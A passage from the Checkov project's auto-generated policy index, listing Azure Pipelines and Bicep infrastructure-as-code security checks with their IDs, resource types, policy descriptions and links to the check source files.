Pipelines | [SetSecretVariable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/SetSecretVariable.py) | | 5 | CKV_AZUREPIPELINES_3 | azure_pipelines | stages[].jobs[].steps[] | Ensure set variable is not marked as a secret | Azure Pipelines | [SetSecretVariable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/SetSecretVariable.py) | | 6 | CKV_AZUREPIPELINES_5 | azure_pipelines | *.container[] | Detecting image usages in azure pipelines workflows | Azure Pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py) | | 7 | CKV_AZUREPIPELINES_5 | azure_pipelines | jobs[] | Detecting image usages in azure pipelines workflows | Azure Pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py) | | 8 | CKV_AZUREPIPELINES_5 | azure_pipelines | stages[].jobs[] | Detecting image usages in azure pipelines workflows | Azure Pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py) | --- ================================================ FILE: docs/5.Policy Index/bicep.md ================================================ --- layout: default title: bicep resource scans nav_order: 1 --- # bicep resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |-----|---------------|-----------|------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------|-------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_AZURE_1 | resource | Microsoft.Compute/virtualMachines | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead) | Bicep | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstancePassword.py) | | 1 | CKV_AZURE_2 | resource | Microsoft.Compute/disks | Ensure Azure managed disk have encryption enabled | Bicep | [AzureManagedDiscEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiscEncryption.py) | | 2 | CKV_AZURE_3 | resource | Microsoft.Storage/storageAccounts | Ensure that 'supportsHttpsTrafficOnly' is set to 'true' | Bicep | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountsTransportEncryption.py) | | 3 | CKV_AZURE_4 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS logging to Azure Monitoring is Configured | Bicep | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLoggingEnabled.py) | | 4 | CKV_AZURE_5 | resource | Microsoft.ContainerService/managedClusters | Ensure RBAC is enabled on AKS clusters | Bicep | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSRbacEnabled.py) | | 5 | CKV_AZURE_6 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS has an API Server Authorized IP Ranges enabled | Bicep | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py) | | 6 | CKV_AZURE_7 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS cluster has Network Policy configured | Bicep | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSNetworkPolicy.py) | | 7 | CKV_AZURE_8 | resource | Microsoft.ContainerService/managedClusters | Ensure Kubernetes Dashboard is disabled | Bicep | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSDashboardDisabled.py) | | 8 | CKV_AZURE_9 | resource | Microsoft.Network/networkSecurityGroups | Ensure that RDP access is restricted from the internet | Bicep | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py) | | 9 | CKV_AZURE_9 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that RDP access is restricted from the internet | Bicep | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py) | | 10 | CKV_AZURE_10 | resource | Microsoft.Network/networkSecurityGroups | Ensure that SSH access is restricted from the internet | Bicep | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py) | | 11 | CKV_AZURE_10 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that SSH access is restricted from the internet | Bicep | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py) | | 12 | CKV_AZURE_11 | resource | Microsoft.Sql/servers | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP) | Bicep | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerNoPublicAccess.py) | | 13 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/FlowLogs | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 14 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/FlowLogs/ | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 15 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/flowLogs | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 16 | CKV_AZURE_12 | resource | Microsoft.Network/networkWatchers/flowLogs/ | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days' | Bicep | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py) | | 17 | CKV_AZURE_13 | resource | Microsoft.Web/sites/config | Ensure App Service Authentication is set on Azure App Service | Bicep | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py) | | 18 | CKV_AZURE_13 | resource | config | Ensure App Service Authentication is set on Azure App Service | Bicep | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py) | | 19 | CKV_AZURE_14 | resource | Microsoft.Web/sites | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service | Bicep | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHTTPSOnly.py) | | 20 | CKV_AZURE_15 | resource | Microsoft.Web/sites | Ensure web app is using the latest version of TLS encryption | Bicep | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceMinTLSVersion.py) | | 21 | CKV_AZURE_16 | resource | Microsoft.Web/sites | Ensure that Register with Azure Active Directory is enabled on App Service | Bicep | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentity.py) | | 22 | CKV_AZURE_17 | resource | Microsoft.Web/sites | Ensure the web app has 'Client Certificates (Incoming client certificates)' set | Bicep | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceClientCertificate.py) | | 23 | CKV_AZURE_18 | resource | Microsoft.Web/sites | Ensure that 'HTTP Version' is the latest if used to run the web app | Bicep | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttps20Enabled.py) | | 24 | CKV_AZURE_19 | resource | Microsoft.Security/pricings | Ensure that standard pricing tier is selected | Bicep | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterStandardPricing.py) | | 25 | CKV_AZURE_20 | resource | Microsoft.Security/securityContacts | Ensure that security contact 'Phone number' is set | Bicep | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactPhone.py) | | 26 | CKV_AZURE_21 | resource | Microsoft.Security/securityContacts | Ensure that 'Send email notification for high severity alerts' is set to 'On' | Bicep | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py) | | 27 | CKV_AZURE_22 | resource | Microsoft.Security/securityContacts | Ensure that 'Send email notification for high severity alerts' is set to 'On' | Bicep | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py) | | 28 | CKV_AZURE_23 | resource | Microsoft.Sql/servers | Ensure that 'Auditing' is set to 'On' for SQL servers | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml) | | 29 | CKV_AZURE_23 | resource | Microsoft.Sql/servers/auditingSettings | Ensure that 'Auditing' is set to 'On' for SQL servers | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml) | | 30 | CKV_AZURE_23 | resource | Microsoft.Sql/servers/databases | Ensure that 'Auditing' is set to 'On' for SQL servers | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml) | | 31 | CKV_AZURE_23 | resource | Microsoft.Sql/servers/databases/auditingSettings | Ensure that 'Auditing' is set to 'On' for SQL servers | Bicep | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml) | | 32 | CKV_AZURE_24 | resource | Microsoft.Sql/servers | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Bicep | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml) | | 33 | CKV_AZURE_24 | resource | Microsoft.Sql/servers/auditingSettings | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers | Bicep | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml) | | 34 | CKV_AZURE_25 | resource | Microsoft.Sql/servers | Azure SQL Server threat detection alerts are enabled for all threat types | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml) | | 35 | CKV_AZURE_25 | resource | Microsoft.Sql/servers/databases | Azure SQL Server threat detection alerts are enabled for all threat types | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml) | | 36 | CKV_AZURE_25 | resource | Microsoft.Sql/servers/databases/securityAlertPolicies | Azure SQL Server threat detection alerts are enabled for all threat types | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml) | | 37 | CKV_AZURE_25 | resource | Microsoft.Sql/servers/securityAlertPolicies | Azure SQL Server threat detection alerts are enabled for all threat types | Bicep | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml) | | 38 | CKV_AZURE_26 | resource | Microsoft.Sql/servers/databases | Ensure that 'Send Alerts To' is enabled for MSSQL servers | Bicep | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py) | | 39 | CKV_AZURE_27 | resource | Microsoft.Sql/servers/databases | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers | Bicep | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py) | | 40 | CKV_AZURE_28 | resource | Microsoft.DBforMySQL/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server | Bicep | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py) | | 41 | CKV_AZURE_29 | resource | Microsoft.DBforPostgreSQL/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server | Bicep | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py) | | 42 | CKV_AZURE_30 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py) | | 43 | CKV_AZURE_30 | resource | configurations | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py) | | 44 | CKV_AZURE_31 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py) | | 45 | CKV_AZURE_31 | resource | configurations | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py) | | 46 | CKV_AZURE_32 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py) | | 47 | CKV_AZURE_32 | resource | configurations | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py) | | 48 | CKV_AZURE_33 | resource | Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings | Ensure Storage logging is enabled for Queue service for read, write and delete requests | Bicep | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py) | | 49 | CKV_AZURE_34 | resource | Microsoft.Storage/storageAccounts/blobServices/containers | Ensure that 'Public access level' is set to Private for blob containers | Bicep | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 50 | CKV_AZURE_34 | resource | blobServices/containers | Ensure that 'Public access level' is set to Private for blob containers | Bicep | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 51 | CKV_AZURE_34 | resource | containers | Ensure that 'Public access level' is set to Private for blob containers | Bicep | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 52 | CKV_AZURE_35 | resource | Microsoft.Storage/storageAccounts | Ensure default network access rule for Storage Accounts is set to deny | Bicep | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py) | | 53 | CKV_AZURE_36 | resource | Microsoft.Storage/storageAccounts | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access | Bicep | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py) | | 54 | CKV_AZURE_37 | resource | Microsoft.Insights/logprofiles | Ensure that Activity Log Retention is set 365 days or greater | Bicep | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py) | | 55 | CKV_AZURE_38 | resource | Microsoft.Insights/logprofiles | Ensure audit profile captures all the activities | Bicep | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileCategories.py) | | 56 | CKV_AZURE_39 | resource | Microsoft.Authorization/roleDefinitions | Ensure that no custom subscription owner roles are created | Bicep | [CustomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py) | | 57 | CKV_AZURE_40 | resource | Microsoft.KeyVault/vaults/keys | Ensure that the expiration date is set on all keys | Bicep | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyExpirationDate.py) | | 58 | CKV_AZURE_41 | resource | Microsoft.KeyVault/vaults/secrets | Ensure that the expiration date is set on all secrets | Bicep | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretExpirationDate.py) | | 59 | CKV_AZURE_42 | resource | Microsoft.KeyVault/vaults | Ensure the key vault is recoverable | Bicep | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py) | | 60 | CKV_AZURE_43 | resource | Microsoft.Storage/storageAccounts | Ensure Storage Accounts adhere to the naming rules | Bicep | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountName.py) | | 61 | CKV_AZURE_44 | resource | Microsoft.Storage/storageAccounts | Ensure Storage Account is using the latest version of TLS encryption | Bicep | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py) | | 62 | CKV_AZURE_45 | resource | Microsoft.Compute/virtualMachines | Ensure that no sensitive credentials are exposed in VM custom_data | Bicep | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMCredsInCustomData.py) | | 63 | CKV_AZURE_47 | resource | Microsoft.DBforMariaDB/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers | Bicep | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py) | | 64 | CKV_AZURE_48 | resource | Microsoft.DBforMariaDB/servers | Ensure 'public network access enabled' is set to 'False' for MariaDB servers | Bicep | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py) | | 65 | CKV_AZURE_49 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead) | Bicep | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureScaleSetPassword.py) | | 66 | CKV_AZURE_50 | resource | Microsoft.Compute/virtualMachines | Ensure Virtual Machine Extensions are not Installed | Bicep | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstanceExtensions.py) | | 67 | CKV_AZURE_52 | resource | Microsoft.Sql/servers | Ensure MSSQL is using the latest version of TLS encryption | Bicep | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py) | | 68 | CKV_AZURE_53 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure 'public network access enabled' is set to 'False' for mySQL servers | Bicep | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py) | | 69 | CKV_AZURE_53 | resource | Microsoft.DBforMySQL/servers | Ensure 'public network access enabled' is set to 'False' for mySQL servers | Bicep | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py) | | 70 | CKV_AZURE_54 | resource | Microsoft.DBforMySQL/servers | Ensure MySQL is using the latest version of TLS encryption | Bicep | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerMinTLSVersion.py) | | 71 | CKV_AZURE_56 | resource | Microsoft.Web/sites/config | Ensure that function apps enables Authentication | Bicep | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py) | | 72 | CKV_AZURE_57 | resource | Microsoft.Web/sites | Ensure that CORS disallows every resource to access app services | Bicep | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDisallowCORS.py) | | 73 | CKV_AZURE_58 | resource | Microsoft.Synapse/workspaces | Ensure that Azure Synapse workspaces enables managed virtual networks | Bicep | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py) | | 74 | CKV_AZURE_59 | resource | Microsoft.Storage/storageAccounts | Ensure that Storage accounts disallow public access | Bicep | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py) | | 75 | CKV_AZURE_62 | resource | Microsoft.Web/sites | Ensure function apps are not accessible from all regions | Bicep | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppDisallowCORS.py) | | 76 | CKV_AZURE_63 | resource | Microsoft.Web/sites/config | Ensure that App service enables HTTP logging | Bicep | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py) | | 77 | CKV_AZURE_64 | resource | Microsoft.StorageSync/storageSyncServices | Ensure that Azure File Sync disables public network access | Bicep | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py) | | 78 | CKV_AZURE_65 | resource | Microsoft.Web/sites/config | Ensure that App service enables detailed error messages | Bicep | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py) | | 79 | CKV_AZURE_66 | resource | Microsoft.Web/sites/config | Ensure that App service enables failed request tracing | Bicep | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceEnableFailedRequest.py) | | 80 | CKV_AZURE_67 | resource | Microsoft.Web/sites | Ensure that 'HTTP Version' is the latest, if used to run the Function app | Bicep | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py) | | 81 | CKV_AZURE_67 | resource | Microsoft.Web/sites/slots | Ensure that 'HTTP Version' is the latest, if used to run the Function app | Bicep | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py) | | 82 | CKV_AZURE_68 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server disables public network access | Bicep | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py) | | 83 | CKV_AZURE_70 | resource | Microsoft.Web/sites | Ensure that Function apps is only accessible over HTTPS | Bicep | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 84 | CKV_AZURE_70 | resource | Microsoft.Web/sites/config | Ensure that Function apps is only accessible over HTTPS | Bicep | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 85 | CKV_AZURE_70 | resource | Microsoft.Web/sites/slots | Ensure that Function apps is only accessible over HTTPS | Bicep | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py) | | 86 | CKV_AZURE_71 | resource | Microsoft.Web/sites | Ensure that Managed identity provider is enabled for web apps | Bicep | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py) | | 87 | CKV_AZURE_72 | resource | Microsoft.Web/sites | Ensure that remote debugging is not enabled for app services | Bicep | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py) | | 88 | CKV_AZURE_73 | resource | Microsoft.Automation/automationAccounts/variables | Ensure that Automation account variables are encrypted | Bicep | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AutomationEncrypted.py) | | 89 | CKV_AZURE_74 | resource | Microsoft.Kusto/clusters | Ensure that Azure Data Explorer (Kusto) uses disk encryption | Bicep | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py) | | 90 | CKV_AZURE_75 | resource | Microsoft.Kusto/clusters | Ensure that Azure Data Explorer uses double encryption | Bicep | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py) | | 91 | CKV_AZURE_76 | resource | Microsoft.Batch/batchAccounts | Ensure that Azure Batch account uses key vault to encrypt data | Bicep | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py) | | 92 | CKV_AZURE_78 | resource | Microsoft.Web/sites | Ensure FTP deployments are disabled | Bicep | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceFTPSState.py) | | 93 | CKV_AZURE_79 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for SQL servers on machines | Bicep | [AzureDefenderOnSqlServersVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py) | | 94 | CKV_AZURE_80 | resource | Microsoft.Web/sites/config | Ensure that 'Net Framework' version is the latest, if used as a part of the web app | Bicep | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py) | | 95 | CKV_AZURE_81 | resource | Microsoft.Web/sites | Ensure that 'PHP version' is the latest, if used to run the web app | Bicep | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePHPVersion.py) | | 96 | CKV_AZURE_82 | resource | Microsoft.Web/sites | Ensure that 'Python version' is the latest, if used to run the web app | Bicep | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePythonVersion.py) | | 97 | CKV_AZURE_83 | resource | Microsoft.Web/sites | Ensure that 'Java version' is the latest, if used to run the web app | Bicep | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceJavaVersion.py) | | 98 | CKV_AZURE_84 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Storage | Bicep | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnStorage.py) | | 99 | CKV_AZURE_85 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Kubernetes | Bicep | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKubernetes.py) | | 100 | CKV_AZURE_87 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Key Vault | Bicep | 